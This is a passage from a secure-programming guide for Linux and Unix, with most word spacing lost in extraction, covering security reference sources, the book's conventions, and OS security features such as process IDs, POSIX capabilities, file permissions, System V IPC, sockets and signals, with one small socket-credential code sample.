Gateway Interface(CGI) to interfacewith theweb. TheseincludeVanBiesbrouck
[1996] (http://www.csclub.uwaterloo.ca/u/mlvanbie/cgisec),Gundavaram[unknown]
(http://language.perl.com/CPAN/doc/FAQs/cgi/perl-cgi-faq.html),[Garfinkle1997]
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(http://webreview.com/wr/pub/97/08/08/bookshelf)Kim [1996]
(http://www.eekim.com/pubs/cgibook),Phillips [1995]
(http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt),Stein[1999]
(http://www.w3.org/Security/Faq/www-security-faq.html),[Peteanu2000]
(http://members.home.net/razvan.peteanu),and[Advosys2000]
(http://advosys.ca/tips/web-security.html).

Therearemany documentsspecificto a language,whicharefurtherdiscussedin the
language-specificsectionsof this book.For example,thePerldistribution includes
perlsec(1)(http://www.perl.com/pub/doc/manual/html/pod/perlsec.html), which
describeshow to usePerlmoresecurely. TheSecureInternetProgrammingsiteat
http://www.cs.princeton.edu/sipis interestedin computersecurityissuesin general,but
focusesonmobilecodesystemssuchasJava,ActiveX, andJavaScript;EdFelten(one
of its principles)co-wroteabookon securingJava ([McGraw 1999]
(www.securingjava.com))which is discussedin Section9.6.Sun’s securitycode
guidelinesprovidesomeguidelinesprimarily for JavaandC; it is availableat
http://java.sun.com/security/seccodeguide.html.

Yoder[1998] containsacollectionof patternsto beusedwhendealingwith application
security. It’ snot really aspecificsetof guidelines,but asetof commonly-usedpatterns
for programmingthatyoumayfind useful.TheSchmoogroupmaintainsawebpage
linking to informationon how to write securecodeat
http://www.shmoo.com/securecode.

Therearemany documentsdescribingtheissuefrom theotherdirection(i.e., “how to
crackasystem”).Oneexampleis McClure[1999],andthere’s countlessamountsof
materialfrom thatvantagepoint on theInternet.

There’s alsoa largebodyof informationon vulnerabilitiesalreadyidentifiedin existing
programs.Thiscanbeausefulsetof examplesof “what not to do,” thoughit takes
effort to extractmoregeneralguidelinesfrom thelargebodyof specificexamples.
Therearemailing lists thatdiscusssecurityissues;oneof themostwell-known is
Bugtraq(http://SecurityFocus.com/forums/bugtraq/faq.html),whichamongother
thingsdevelopsa list of vulnerabilities.TheCERT CoordinationCenter(CERT/CC) is
amajorreportingcenterfor Internetsecurityproblemswhich reportsonvulnerabilities.
TheCERT/CC occasionallyproducesadvisoriesthatprovideadescriptionof a serious
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securityproblemandits impact,alongwith instructionsonhow to obtaina patchor
detailsof aworkaround;for moreinformationseehttp://www.cert.org. Notethat
originally theCERT wasasmallcomputeremergency responseteam,but officially
“CERT” doesn’t standfor anythingnow. TheDepartmentof Energy’s Computer
IncidentAdvisoryCapability(CIAC) (http://ciac.llnl.gov/ciac)alsoreportson
vulnerabilities.Thesedifferentgroupsmayidentify thesamevulnerabilitiesbut use
differentnames.To resolve this problem,MITRE supportstheCommonVulnerabilities
andExposures(CVE) list which createsasingleuniqueidentifier(“name”) for all
publicly known vulnerabilitiesandsecurityexposuresidentifiedby others;see
http://www.cve.mitre.org.NIST’s ICAT is asearchablecatalogueof computer
vulnerabilities,takingtheeachCVE vulnerabilityandcategorizingthemsothey canbe
searchedandcomparedlater;seehttp://csrc.nist.gov/icat.

Thisbookis asummaryof whatI believearethemostusefulandimportantguidelines;
my goalis abookthatagoodprogrammercanjust readandthenbefairly well
preparedto implementasecureprogram.No singledocumentcanreally meetthis goal,
but I believetheattemptis worthwhile.My goalis to strikea balancesomewhere
betweena “completelist of all possibleguidelines”(thatwouldbeunendingand
unreadable)andthevarious“short” lists availableon-linethatareniceandshortbut
omit a largenumberof critical issues.Whenin doubt,I includetheguidance;I believe
in thatcaseit’ sbetterto make theinformationavailableto everyonein this “onestop
shop”document.Theorganizationpresentedhereis my own (every list hasits own,
differentstructure),andsomeof theguidelines(especiallytheLinux-uniqueones,such
asthoseon capabilitiesandthefsuidvalue)arealsomy own. Readingall of the
referenceddocumentslistedaboveaswell is highly recommended.

2.8. Other Sour ces of Security Information
Thereareavastnumberof websitesandmailing listsdedicatedto securityissues.Here
aresomeothersourcesof securityinformation:

• Securityfocus.com(http://www.securityfocus.com)hasawealthof general
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security-relatednews andinformation,andhostsanumberof security-related
mailing lists.Seetheir websitefor informationonhow to subscribeandview their
archives.A few of themostrelevantmailing listson SecurityFocusare:

• The“bugtraq”mailing list is, asnotedabove,a “full disclosuremoderatedmailing
list for thedetaileddiscussionandannouncementof computersecurity
vulnerabilities:whatthey are,how to exploit them,andhow to fix them.”

• The“secprog”mailing list is amoderatedmailing list for thediscussionof secure
softwaredevelopmentmethodologiesandtechniques.I specificallymonitorthis
list, andI coordinatewith its moderatorto ensurethatresolutionsreachedin
SECPROG (if I agreewith them)areincorporatedinto this document.

• The“vuln-dev” mailing list discussespotentialor undevelopedholes.

• IBM’ s “developerWorks:Security”hasa library of interestingarticles.You canlearn
morefrom http://www.ibm.com/developer/security.

• For Linux-specificsecurityinformation,agoodsourceis LinuxSecurity.com
(http://www.linuxsecurity.com).If you’re interestedin auditingLinux code,placesto
seeincludetheLinux Security-AuditProjectFAQ
(http://www.linuxhelp.org/lsap.shtml) andLinux KernelAuditing Project
(http://www.lkap.org) arededicatedto auditingLinux codefor securityissues.

Of course,if you’resecuringspecificsystems,youshouldsignup to their security
mailing lists (e.g.,Microsoft’s,RedHat’s,etc.)soyou canbewarnedof any security
updates.

2.9. Document Conventions
Systemmanualpagesarereferencedin theformatname(number), wherenumberis the
sectionnumberof themanual.Thepointervaluethatmeans“doesnotpoint anywhere”
is calledNULL; C compilerswill convert theinteger0 to thevalueNULL in most
circumstanceswhereapointeris needed,but notethatnothingin theC standard
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requiresthatNULL actuallybeimplementedby aseriesof all-zerobits.C andC++
treatthecharacter’\0’ (ASCII 0) specially, andthis valueis referredto asNIL in this
book(this is usuallycalled“NUL”, but “NUL” and“NULL” soundidentical).Function
andmethodnamesalwaysusethecorrectcase,evenif thatmeansthatsomesentences
mustbegin with a lowercaseletter. I usetheterm“Unix-lik e” to meanUnix, Linux, or
othersystemswhoseunderlyingmodelsareverysimilar to Unix; I can’t sayPOSIX,
becausetherearesystemssuchasWindows2000thatimplementportionsof POSIX
yet havevastlydifferentsecuritymodels.

An attacker is calledan“attacker”, “cracker”, or “adversary”.Somejournalistsusethe
word “hacker” insteadof “attacker”; this bookavoidsthis (mis)use,becausemany
Linux andUnix developersreferto themselvesas“hackers” in thetraditionalnon-evil
senseof theterm.Thatis, to many Linux andUnix developers,theterm“hacker”
continuesto meansimplyanexpertor enthusiast,particularlyregardingcomputers.

Thisbookusesthe“new” or “logical” quotingsystem,insteadof thetraditional
Americanquotingsystem:quotedinformationdoesnot includeany trailing punctuation
if thepunctuationis not partof thematerialbeingquoted.While this maycausea
minor lossof typographicalbeauty, thetraditionalAmericansystemcausesextraneous
charactersto beplacedinsidethequotes.Theseextraneouscharactershavenoeffecton
prosebut canbedisastrousin codeor computercommands.I usestandardAmerican
(not British) spelling;I’veyet to meetanEnglishspeakeron any continentwhohas
troublewith this.
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Chapter 3. Summar y of Lin ux and
Unix Security Features

Discretionwill protectyou,and
understandingwill guard you.

Proverbs2:11 (NIV)

Beforediscussingguidelinesonhow to useLinux or Unix securityfeatures,it’ suseful
to know whatthosefeaturesarefrom aprogrammer’sviewpoint.Thissectionbriefly
describesthosefeaturesthatarewidely availableon nearlyall Unix-likesystems.
However, notethatthereis considerablevariationbetweendifferentversionsof
Unix-likesystems,andnotall systemshave theabilitiesdescribedhere.Thischapter
alsonotessomeextensionsor featuresspecificto Linux; Linux distributionstendto be
fairly similar to eachotherfrom thepoint-of-view of programmingfor security,
becausethey all useessentiallythesamekernelandC library (andtheGPL-based
licensesencouragerapiddisseminationof any innovations).Thischapterdoesn’t
discussissuessuchasimplementationsof mandatoryaccesscontrol(MAC) which
many Unix-likesystemsdo not implement.If you alreadyknow whatthosefeatures
are,pleasefeel freeto skip this section.

Many programmingguidesskim briefly over thesecurity-relevantportionsof Linux or
Unix andskip importantinformation.In particular, they oftendiscuss“how to use”
somethingin generaltermsbut glossover thesecurityattributesthataffect their use.
Conversely, there’sa greatdealof detailedinformationin themanualpagesabout
individual functions,but themanualpagessometimesobscurekey securityissueswith
detaileddiscussionson how to useeachindividual function.Thissectiontriesto bridge
thatgap;it givesanoverview of thesecuritymechanismsin Linux thatarelikely to be
usedby aprogrammer, but concentratingspecificallyon thesecurityramifications.This
sectionhasmoredepththanthetypicalprogrammingguides,focusingspecificallyon
security-relatedmatters,andpointsto referenceswhereyoucangetmoredetails.

First, thebasics.Linux andUnix arefundamentallydividedinto two parts:thekernel
and“userspace”.Most programsexecutein userspace(on topof thekernel).Linux
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supportstheconceptof “kernelmodules”,which is simply theability to dynamically
loadcodeinto thekernel,but notethatit still hasthis fundamentaldivision.Someother
systems(suchastheHURD) are“microkernel”basedsystems;they haveasmallkernel
with morelimited functionality, anda setof “user” programsthatimplementthe
lower-level functionstraditionallyimplementedby thekernel.

SomeUnix-likesystemshavebeenextensively modifiedto supportstrongsecurity, in
particularto supportU.S.Departmentof Defenserequirementsfor MandatoryAccess
Control(level B1 or higher).Thisversionof thisbookdoesn’t cover thesesystemsor
issues;I hopeto expandto thatin a futureversion.

Whenuserslog in, their usernamesaremappedto integersmarkingtheir “UID” (for
“userid”) andthe“GID”s (for “group id”) thatthey areamemberof. UID 0 is aspecial
privilegeduser(role) traditionallycalled“root”; onmostUnix-likesystems(including
Unix) rootcanoverrulemostsecuritychecksandis usedto administratethesystem.
Processesaretheonly “subjects”in termsof security(thatis, only processesareactive
objects).Processescanaccessvariousdataobjects,in particularfilesystemobjects
(FSOs),SystemV InterprocessCommunication(IPC)objects,andnetwork ports.
Processescanalsosetsignals.Othersecurity-relevanttopicsincludequotasandlimits,
libraries,auditing,andPAM. Thenext few subsectionsdetailthis.

3.1. Processes
In Unix-likesystems,user-level activitiesareimplementedby runningprocesses.Most
Unix systemssupporta “thread”asaseparateconcept;threadssharememoryinsidea
process,andthesystemscheduleractuallyschedulesthreads.Linux doesthis
differently(andin my opinionusesabetterapproach):thereis noessentialdifference
betweena threadandaprocess.Instead,in Linux, whenaprocesscreatesanother
processit canchoosewhatresourcesareshared(e.g.,memorycanbeshared).The
Linux kernelthenperformsoptimizationsto getthread-level speeds;seeclone(2)for
moreinformation.It’ sworth notingthattheLinux kerneldeveloperstendto usethe
word “task”, not “thread”or “process”,but theexternaldocumentationtendsto usethe
word process(soI’ ll usetheterm“process”here).Whenprogramminga
multi-threadedapplication,it’ susuallybetterto useoneof thestandardthreadlibraries

32



Chapter3. Summaryof LinuxandUnix SecurityFeatures

thathidethesedifferences.Not only doesthis make threadingmoreportable,but some
librariesprovideanadditionallevel of indirection,by implementingmorethanone
application-level threadasasingleoperatingsystemthread;this canprovidesome
improvedperformanceon somesystemsfor someapplications.

3.1.1. Process Attrib utes
Herearetypicalattributesassociatedwith eachprocessin aUnix-likesystem:

• RUID, RGID - realUID andGID of theuseron whosebehalftheprocessis running

• EUID, EGID - effectiveUID andGID usedfor privilegechecks(exceptfor the
filesystem)

• SUID, SGID- SavedUID andGID; usedto supportswitchingpermissions“on and
off ” asdiscussedbelow. Not all Unix-likesystemssupportthis.

• supplementalgroups- a list of groups(GIDs) in which this userhasmembership.

• umask- asetof bitsdeterminingthedefault accesscontrolsettingswhenanew
filesystemobjectis created;seeumask(2).

• schedulingparameters- eachprocesshasaschedulingpolicy, andthosewith the
default policy SCHED_OTHERhave theadditionalparametersnice,priority, and
counter. Seesched_setscheduler(2)for moreinformation.

• limits - per-processresourcelimits (seebelow).

• filesystemroot - theprocess’ideaof wheretherootfilesystembegins;seechroot(2).

Hereareless-commonattributesassociatedwith processes:

• FSUID,FSGID- UID andGID usedfor filesystemaccesschecks;this is usually
equalto theEUID andEGID respectively. This is aLinux-uniqueattribute.

• capabilities- POSIXcapabilityinformation;thereareactuallythreesetsof
capabilitiesonaprocess:theeffective, inheritable,andpermittedcapabilities.See
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below for moreinformationonPOSIXcapabilities.Linux kernelversion2.2and
greatersupportthis; someotherUnix-likesystemsdo too,but it’ snot aswidespread.

In Linux, if you really needto know exactlywhatattributesareassociatedwith each
process,themostdefinitivesourceis theLinux sourcecode,in particular
/usr/include/linux/sched.h’sdefinitionof task_struct.

Theportableway to createnew processesit usethefork(2) call. BSD introduceda
variantcalledvfork(2) asanoptimizationtechnique.Thebottomline with vfork(2) is
simple:don’t useit if you canavoid it. SeeSection7.5for moreinformation.

Linux supportstheLinux-uniqueclone(2)call. Thiscall workslike fork(2), but allows
specificationof which resourcesshouldbeshared(e.g.,memory, file descriptors,etc.).
Portableprogramsshouldn’t usethiscall directly; asnotedearlier, they shouldinstead
rely on threadinglibrariesthatusethecall to implementthreads.

Thisbookis nota full tutorial on writing programs,soI will skipwidely-available
informationhandlingprocesses.Youcanseethedocumentationfor wait(2),exit(2),
andsoon for moreinformation.

3.1.2. POSIX Capabilities
POSIXcapabilitiesaresetsof bits thatpermitsplittingof theprivilegestypically held
by root into a largersetof morespecificprivileges.POSIXcapabilitiesaredefinedby a
draft IEEE standard;they’renotuniqueto Linux but they’renotuniversallysupported
by otherUnix-likesystemseither. Linux kernel2.0did notsupportPOSIXcapabilities,
while version2.2addedsupportfor POSIXcapabilitiesto processes.WhenLinux
documentation(includingthis one)says“requiresroot privilege”, in nearlyall casesit
really means“requiresa capability”asdocumentedin thecapabilitydocumentation.If
you needto know thespecificcapabilityrequired,look it up in thecapability
documentation.

In Linux, theeventualintentis to permitcapabilitiesto beattachedto files in the
filesystem;asof this writing, however, this is not yet supported.Thereis supportfor
transferringcapabilities,but this is disabledby default.Linux version2.2.11addeda
featurethatmakescapabilitiesmoredirectlyuseful,calledthe“capabilitybounding
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set”.Thecapabilityboundingsetis a list of capabilitiesthatareallowedto beheldby
any processon thesystem(otherwise,only thespecialinit processcanhold it). If a
capabilitydoesnotappearin theboundingset,it maynotbeexercisedby any process,
no matterhow privileged.This featurecanbeusedto, for example,disablekernel
moduleloading.A sampletool thattakesadvantageof this is LCAP at
http://pweb.netcom.com/~spoon/lcap/.

More informationaboutPOSIXcapabilitiesis availableat
ftp://linux.kernel.org/pub/linux/libs/security/linux-privs.

3.1.3. Process Creation and Manipulation
Processesmaybecreatedusingfork(2), thenon-recommendedvfork(2), or the
Linux-uniqueclone(2);all of thesesystemcallsduplicatetheexistingprocess,creating
two processesout of it. A processcanexecutea differentprogramby callingexecve(2),
or variousfront-endsto it (for example,seeexec(3),system(3),andpopen(3)).

Whenaprogramis executed,andits file hasits setuidor setgidbit set,theprocess’
EUID or EGID (respectively) is usuallysetto thefile’s value.This functionalitywas
thesourceof anold Unix securityweaknesswhenusedto supportsetuidor setgid
scripts,dueto a racecondition.Betweenthetime thekernelopensthefile to seewhich
interpreterto run,andwhenthe(now-set-id)interpreterturnsaroundandreopensthe
file to interpretit, anattacker mightchangethefile (directly or via symboliclinks).

Dif ferentUnix-likesystemshandlethesecurityissuefor setuidscriptsin different
ways.Somesystems,suchasLinux, completelyignorethesetuidandsetgidbitswhen
executingscripts,which is clearlyasafeapproach.Mostmodernreleasesof SysVr4
andBSD 4.4useadifferentapproachto avoid thekernelracecondition.On these
systems,whenthekernelpassesthenameof theset-idscriptto opento theinterpreter,
ratherthanusingapathname(which wouldpermittheracecondition)it insteadpasses
thefilename/dev/fd/3. This is a specialfile alreadyopenedon thescript,sothatthere
canbeno raceconditionfor attackersto exploit. Evenon thesesystemsI recommend
againstusingthesetuid/setgidshellscriptslanguagefor secureprograms,asdiscussed
below.

In somecasesa processcanaffect thevariousUID andGID values;seesetuid(2),
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seteuid(2),setreuid(2),andtheLinux-uniquesetfsuid(2).In particularthesaveduserid
(SUID) attributeis thereto permittrustedprogramsto temporarilyswitchUIDs.
Unix-likesystemssupportingtheSUID usethefollowing rules:If theRUID is
changed,or theEUID is setto avaluenotequalto theRUID, theSUID is setto the
new EUID. Unprivilegeduserscansettheir EUID from their SUID, theRUID to the
EUID, andtheEUID to theRUID.

TheLinux-uniqueFSUID processattributeis intendedto permitprogramslike theNFS
server to limit themselvesto only thefilesystemrightsof somegivenUID without
giving thatUID permissionto sendsignalsto theprocess.Whenever theEUID is
changed,theFSUID is changedto thenew EUID value;theFSUID valuecanbeset
separatelyusingsetfsuid(2),aLinux-uniquecall. Notethatnon-rootcallerscanonly set
FSUID to thecurrentRUID, EUID, SEUID,or currentFSUID values.

3.2. Files
On all Unix-likesystems,theprimaryrepositoryof informationis thefile tree,rooted
at “/”. Thefile treeis ahierarchicalsetof directories,eachof which maycontain
filesystemobjects(FSOs).

In Linux, filesystemobjects(FSOs)maybeordinaryfiles,directories,symboliclinks,
namedpipes(alsocalledfirst-in first-outsor FIFOs),sockets(seebelow), character
special(device) files,or block special(device) files (in Linux, this list is givenin the
find(1)command).OtherUnix-likesystemshaveanidenticalor similar list of FSO
types.

Filesystemobjectsarecollectedon filesystems,which canbemountedandunmounted
on directoriesin thefile tree.A filesystemtype(e.g.,ext2 andFAT) is aspecificsetof
conventionsfor arrangingdataon thedisk to optimizespeed,reliability, andsoon;
many peopleusetheterm“filesystem”asasynonym for thefilesystemtype.

3.2.1. Filesystem Object Attrib utes
DifferentUnix-likesystemssupportdifferentfilesystemtypes.Filesystemsmayhave
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slightly differentsetsof accesscontrolattributesandaccesscontrolscanbeaffectedby
optionsselectedat mounttime.OnLinux, theext2 filesystemsis currentlythemost
popularfilesystem,but Linux supportsavastnumberof filesystems.Most Unix-like
systemstendto supportmultiplefilesystemstoo.

Most filesystemsonUnix-likesystemsstoreat leastthefollowing:

• owningUID andGID - identifiesthe“owner” of thefilesystemobject.Only the
owneror root canchangetheaccesscontrolattributesunlessotherwisenoted.

• permissionbits - read,write, executebits for eachof user(owner),group,andother.
For ordinaryfiles, read,write, andexecutehave their typicalmeanings.In
directories,the“read” permissionis necessaryto displayadirectory’scontents,
while the“execute”permissionis sometimescalled“search”permissionandis
necessaryto actuallyenterthedirectoryto useits contents.In adirectory“write”
permissionon adirectorypermitsadding,removing, andrenamingfiles in that
directory;if youonly wantto permitadding,setthesticky bit notedbelow. Notethat
thepermissionvaluesof symboliclinks areneverused;it’ sonly thevaluesof their
containingdirectoriesandthelinked-tofile thatmatter.

• “sticky” bit - whenseton adirectory, unlinks(removes)andrenamesof files in that
directoryarelimited to thefile owner, thedirectoryowner, or root privileges.This is
averycommonUnix extensionandis specifiedin theOpenGroup’sSingleUnix
Specificationversion2. Old versionsof Unix calledthis the“saveprogramtext” bit
andusedthis to indicateexecutablefiles thatshouldstayin memory. Systemsthat
did this ensuredthatonly root couldsetthis bit (otherwiseuserscouldhavecrashed
systemsby forcing “everything” into memory).In Linux, thisbit hasno affecton
ordinaryfilesandordinaryuserscanmodify this bit on thefiles they own: Linux’s
virtual memorymanagementmakesthis old useirrelevant.

• setuid,setgid- whenseton anexecutablefile, executingthefile will settheprocess’
effectiveUID or effectiveGID to thevalueof thefile’s owningUID or GID
(respectively). All Unix-likesystemssupportthis. In Linux andSystemV systems,
whensetgidis seton afile thatdoesnothaveany executeprivileges,this indicatesa
file thatis subjectto mandatorylocking duringaccess(if thefilesystemis mounted
to supportmandatorylocking); this overloadof meaningsurprisesmany andis not
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universalacrossUnix-likesystems.In fact,theOpenGroup’sSingleUnix
Specificationversion2 for chmod(3)permitssystemsto ignorerequeststo turnon
setgidfor files thataren’t executableif suchasettinghasno meaning.In Linux and
Solaris,whensetgidis seton adirectory, filescreatedin thedirectorywill have their
GID automaticallyresetto thatof thedirectory’sGID. Thepurposeof this approach
is to support“projectdirectories”:userscansavefiles into suchspecially-set
directoriesandthegroupownerautomaticallychanges.However, settingthesetgid
bit on directoriesis not specifiedby standardssuchastheSingleUnix Specification
[OpenGroup1997].

• timestamps- accessandmodificationtimesarestoredfor eachfilesystemobject.
However, theowneris allowedto setthesevaluesarbitrarily (seetouch(1)),sobe
carefulabouttrustingthis information.All Unix-likesystemssupportthis.

Thefollowing areattributesareLinux-uniqueextensionson theext2 filesystem,though
many otherfilesystemshavesimilar functionality:

• immutablebit - no changesto thefilesystemobjectareallowed;only rootcansetor
clearthis bit. This is only supportedby ext2 andis notportableacrossall Unix
systems(or evenall Linux filesystems).

• append-onlybit - only appendingto thefilesystemobjectareallowed;only rootcan
setor clearthis bit. This is only supportedby ext2 andis notportableacrossall Unix
systems(or evenall Linux filesystems).

Othercommonextensionsincludesomesortof bit indicating“cannotdeletethis file”.

Many of thesevaluescanbeinfluencedat mounttime,sothat,for example,certainbits
canbetreatedasthoughthey hadacertainvalue(regardlessof their valueson the
media).Seemount(1)for moreinformationaboutthis.Somefilesystemsdon’t support
someof theseaccesscontrolvalues;again,seemount(1)for how thesefilesystemsare
handled.In particular, many Unix-likesystemssupportMS-DOSdisks,whichby
default supportvery few of theseattributes(andthere’snotstandardway to definethese
attributes).In thatcase,Unix-likesystemsemulatethestandardattributes(possibly
implementingthemthroughspecialon-diskfiles),andtheseattributesaregenerally
influencedby themount(1)command.
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It’ s importantto notethat,for addingandremoving files,only thepermissionbits and
ownerof thefile’s directoryreally matterunlesstheUnix-likesystemsupportsmore
complex schemes(suchasPOSIXACLs).Unlessthesystemhasotherextensions,and
stockLinux 2.2doesn’t, afile thathasnopermissionsin its permissionbits canstill be
removedif its containingdirectorypermitsit. Also, if anancestordirectorypermitsits
childrento bechangedby someuseror group,thenany of thatdirectory’sdescendents
canbereplacedby thatuseror group.

Thedraft IEEE POSIXstandardonsecuritydefinesa techniquefor trueACLs that
supporta list of usersandgroupswith their permissions.Unfortunately, this is not
widely supportednor supportedexactly thesamewayacrossUnix-likesystems.Stock
Linux 2.2,for example,hasneitherACLsnorPOSIXcapabilityvaluesin the
filesystem.

It’sworth notingthatin Linux, theLinux ext2 filesystemby default reservesasmall
amountof spacefor therootuser. This is apartialdefenseagainstdenial-of-service
attacks;evenif auserfills adisk thatis sharedwith theroot user, therootuserhasa
little spaceleft over (e.g.,for critical functions).Thedefault is 5%of thefilesystem
space;seemke2fs(8),in particularits “-m” option.

3.2.2. Creation Time Initial Values
At creationtime, thefollowing rulesapply. On mostUnix systems,whenanew
filesystemobjectis createdvia creat(2)or open(2),theFSOUID is setto theprocess’
EUID andtheFSO’s GID is setto theprocess’EGID. Linux worksslightly differently
dueto its FSUID extensions;theFSO’s UID is setto theprocess’FSUID,andtheFSO
GID is setto theprocess’FSGUID;if thecontainingdirectory’ssetgidbit is setor the
filesystem’s “GRPID” flag is set,theFSOGID is actuallysetto theGID of the
containingdirectory. Many systems,includingSunSolarisandLinux, alsosupportthe
setgiddirectoryextensions.As notedearlier, this specialcasesupports“project”
directories:to makea “project” directory, createaspecialgroupfor theproject,createa
directoryfor theprojectownedby thatgroup,thenmake thedirectorysetgid:files
placedthereareautomaticallyownedby theproject.Similarly, if anew subdirectoryis
createdinsideadirectorywith thesetgidbit set(andthefilesystemGRPIDisn’t set),
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thenew subdirectorywill alsohave its setgidbit set(sothatprojectsubdirectorieswill
“do theright thing”.); in all othercasesthesetgidis clearfor anew file. This is the
rationalefor RedHat Linux’s “user-privategroup” scheme,in whicheveryuseris a
memberof a “private”groupwith just themasmembers,sotheirdefaultscanpermit
thegroupto readandwrite any file (sincethey’re theonly memberof thegroup).Thus,
whenthefile’sgroupmembershipis transferredthis way, readandwrite privilegesare
transferredtoo.FSObasicaccesscontrolvalues(read,write, execute)arecomputed
from (requestedvalues& ~ umaskof process).New filesalwaysstartwith aclear
sticky bit andclearsetuidbit.

3.2.3. Changing Access Contr ol Attrib utes
You cansetmostof thesevalueswith chmod(2),fchmod(2),or chmod(1)but seealso
chown(1),andchgrp(1).In Linux, sometheLinux-uniqueattributesaremanipulated
usingchattr(1).

Notethatin Linux, only root canchangetheownerof agivenfile. SomeUnix-like
systemsallow ordinaryusersto transferownershipof their files to another, but this
causescomplicationsandis forbiddenby Linux. For example,if you’re trying to limit
diskusage,allowing suchoperationswouldallow usersto claim thatlargefilesactually
belongedto someother“victim”.

3.2.4. Using Access Contr ol Attrib utes
UnderLinux andmostUnix-likesystems,readingandwriting attributevaluesareonly
checkedwhenthefile is opened;they arenot re-checkedon every reador write. Still, a
largenumberof callsdo checktheseattributes,sincethefilesystemis socentralto
Unix-likesystems.Callsthatchecktheseattributesincludeopen(2),creat(2),link(2),
unlink(2), rename(2),mknod(2),symlink(2),andsocket(2).

3.2.5. Filesystem Hierar chy
Over theyearsconventionshavebeenbuilt on “what files to placewhere”.Where
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possible,pleasefollow conventionalusewhenplacinginformationin thehierarchy. For
example,placeglobalconfigurationinformationin /etc.TheFilesystemHierarchy
Standard(FHS)triesto definetheseconventionsin a logicalmanner, andis widely
usedby Linux systems.TheFHSis anupdateto thepreviousLinux Filesystem
Structurestandard(FSSTND),incorporatinglessonslearnedandapproachesfrom
Linux, BSD,andSystemV systems.Seehttp://www.pathname.com/fhsfor more
informationabouttheFHS.A summaryof theseconventionsis in hier(5)for Linux and
hier(7)for Solaris.Sometimesdifferentconventionsdisagree;wherepossible,make
thesesituationsconfigurableat compileor installationtime.

3.3. System V IPC
Many Unix-likesystems,includingLinux andSystemV systems,supportSystemV
interprocesscommunication(IPC) objects.IndeedSystemV IPC is requiredby the
OpenGroup’sSingleUNIX Specification,Version2 [OpenGroup1997].SystemV
IPC objectscanbeoneof threekinds:SystemV messagequeues,semaphoresets,and
sharedmemorysegments.Eachsuchobjecthasthefollowing attributes:

• readandwrite permissionsfor eachof creator, creatorgroup,andothers.

• creatorUID andGID - UID andGID of thecreatorof theobject.

• owningUID andGID - UID andGID of theownerof theobject(initially equalto
thecreatorUID).

Whenaccessingsuchobjects,therulesareasfollows:

• if theprocesshasrootprivileges,theaccessis granted.

• if theprocess’EUID is theowneror creatorUID of theobject,thentheappropriate
creatorpermissionbit is checkedto seeif accessis granted.

• if theprocess’EGID is theowneror creatorGID of theobject,or oneof theprocess’
groupsis theowningor creatingGID of theobject,thentheappropriatecreator
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grouppermissionbit is checkedfor access.

• otherwise,theappropriate“other” permissionbit is checkedfor access.

Notethatroot,or a processwith theEUID of eithertheowneror creator, cansetthe
owningUID andowningGID and/orremove theobject.More informationis available
in ipc(5).

3.4. Sockets and Network Connections
Socketsareusedfor communication,particularlyoveranetwork. Socketswere
originally developedby theBSD branchof Unix systems,but they aregenerally
portableto otherUnix-likesystems:Linux andSystemV variantssupportsocketsas
well, andsocket supportis requiredby theOpenGroup’sSingleUnix Specification
[OpenGroup1997].SystemV systemstraditionallyusedadifferent(incompatible)
network communicationinterface,but it’ sworthnotingthatsystemslikeSolaris
includesupportfor sockets.Socket(2)createsanendpointfor communicationand
returnsadescriptor, in amannersimilar to open(2)for files.Theparametersfor socket
specifytheprotocolfamily andtype,suchastheInternetdomain(TCP/IPversion4),
Novell’s IPX, or the“Unix domain”.A server thentypically callsbind(2),listen(2),and
accept(2)or select(2).A client typically callsbind(2)(thoughthatmaybeomitted)and
connect(2).Seetheseroutine’s respectivemanpagesfor moreinformation.It canbe
difficult to understandhow to usesocketsfrom theirmanpages;youmight wantto
consultotherpaperssuchasHall "Beej" [1999] to learnhow thesecallsareused
together.

The“Unix domainsockets” don’t actuallyrepresenta network protocol;they canonly
connectto socketson thesamemachine.(at thetimeof this writing for thestandard
Linux kernel).Whenusedasa stream,they arefairly similar to namedpipes,but with
significantadvantages.In particular, Unix domainsocket is connection-oriented;each
new connectionto thesocket resultsin anew communicationchannel,averydifferent
situationthanwith namedpipes.Becauseof this property, Unix domainsocketsare
oftenusedinsteadof namedpipesto implementIPC for many importantservices.Just
likeyoucanhaveunnamedpipes,youcanhaveunnamedUnix domainsocketsusing
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socketpair(2);unnamedUnix domainsocketsareusefulfor IPC in awaysimilar to
unnamedpipes.

Thereareseveralinterestingsecurityimplicationsof Unix domainsockets.First,
althoughUnix domainsocketscanappearin thefilesystemandcanhavestat(2)applied
to them,youcan’t useopen(2)to openthem(youhave to usethesocket(2)andfriends
interface).Second,Unix domainsocketscanbeusedto passfile descriptorsbetween
processes(not just thefile’s contents).Thisoddcapability, notavailablein any other
IPC mechanism,hasbeenusedto hackall sortsof schemes(thedescriptorscan
basicallybeusedasa limited versionof the“capability” in thecomputersciencesense
of theterm).File descriptorsaresentusingsendmsg(2),wherethemsg(message)’s
field msg_controlpointsto anarrayof controlmessageheaders(field msg_controllen
mustspecifythenumberof bytescontainedin thearray).Eachcontrolmessageis a
structcmsghdrfollowedby data,andfor this purposeyou wantthecmsg_typesetto
SCM_RIGHTS.A file descriptoris retrievedthroughrecvmsg(2)andthentracked
down in theanalogousway. Frankly, this featureis quitebaroque,but it’ sworth
knowing about.

Linux 2.2supportsanadditionfeaturein Unix domainsockets:you canacquirethe
peer’s “credentials”(thepid, uid, andgid). Here’s somesamplecode:

/* fd= file descriptor of Unix domain socket connected
to the client you wish to identify */

struct ucred cr;
int cl=sizeof(cr);

if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &cr, &cl)==0) {
printf("Peer’s pid=%d, uid=%d, gid=%d\n",

cr.pid, cr.uid, cr.gid);

StandardUnix conventionis thatbindingto TCPandUDP localport numberslessthan
1024requiresroot privilege,while any processcanbind to anunboundportnumberof
1024or greater. Linux follows this convention,morespecifically, Linux requiresa
processto have thecapabilityCAP_NET_BIND_SERVICE to bind to aportnumber
lessthan1024;this capabilityis normallyonly heldby processeswith aneuidof 0. The
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adventurouscancheckthis in Linux by examiningits Linux’ssource;in Linux 2.2.12,
it’ s file /usr/src/linux/net/ipv4/af_inet.c, functioninet_bind().

3.5. Signals
Signalsareasimpleform of “interruption” in theUnix-likeOSworld, andarean
ancientpartof Unix. A processcanseta “signal” on anotherprocess(sayusingkill(1)
or kill(2)), andthatotherprocesswould receiveandhandlethesignalasynchronously.
For aprocessto havepermissionto sendasignalto someotherprocess,thesending
processmusteitherhave rootprivileges,or therealor effectiveuserID of thesending
processmustequaltherealor savedset-user-ID of thereceiving process.

